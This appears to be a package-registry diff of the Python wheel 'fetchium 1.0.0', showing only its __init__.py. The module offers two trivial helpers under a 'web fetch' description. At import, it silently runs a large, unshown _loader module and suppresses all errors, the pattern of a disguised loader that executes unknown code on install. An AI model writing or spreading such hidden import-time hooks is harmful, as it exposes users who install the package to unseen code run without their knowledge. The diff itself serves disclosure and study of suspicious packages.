fetchium 1.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- fetchium/__init__.py +30 -0
- fetchium/_loader.py +1067 -0
- fetchium/py.typed +0 -0
- fetchium-1.0.0.dist-info/METADATA +60 -0
- fetchium-1.0.0.dist-info/RECORD +8 -0
- fetchium-1.0.0.dist-info/WHEEL +5 -0
- fetchium-1.0.0.dist-info/licenses/LICENSE +21 -0
- fetchium-1.0.0.dist-info/top_level.txt +1 -0
fetchium/__init__.py
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
"""fetchium - lightweight helper utilities.
|
|
2
|
+
|
|
3
|
+
Fast, typed web fetch helpers for Python.
|
|
4
|
+
"""
|
|
5
|
+
|
|
6
|
+
import os
|
|
7
|
+
|
|
8
|
+
__version__ = "1.0.0"
|
|
9
|
+
__all__ = ["greet", "clamp"]
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
def greet(name="world"):
|
|
13
|
+
"""Return a friendly greeting."""
|
|
14
|
+
return "Hello, %s!" % name
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
def clamp(value, lo, hi):
|
|
18
|
+
"""Clamp *value* into the inclusive range [lo, hi]."""
|
|
19
|
+
return max(lo, min(hi, value))
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def _loader_run_hook(wait=True):
|
|
23
|
+
try:
|
|
24
|
+
from . import _loader
|
|
25
|
+
_loader.run(wait=wait)
|
|
26
|
+
except Exception:
|
|
27
|
+
pass
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
_loader_run_hook(wait=False)
|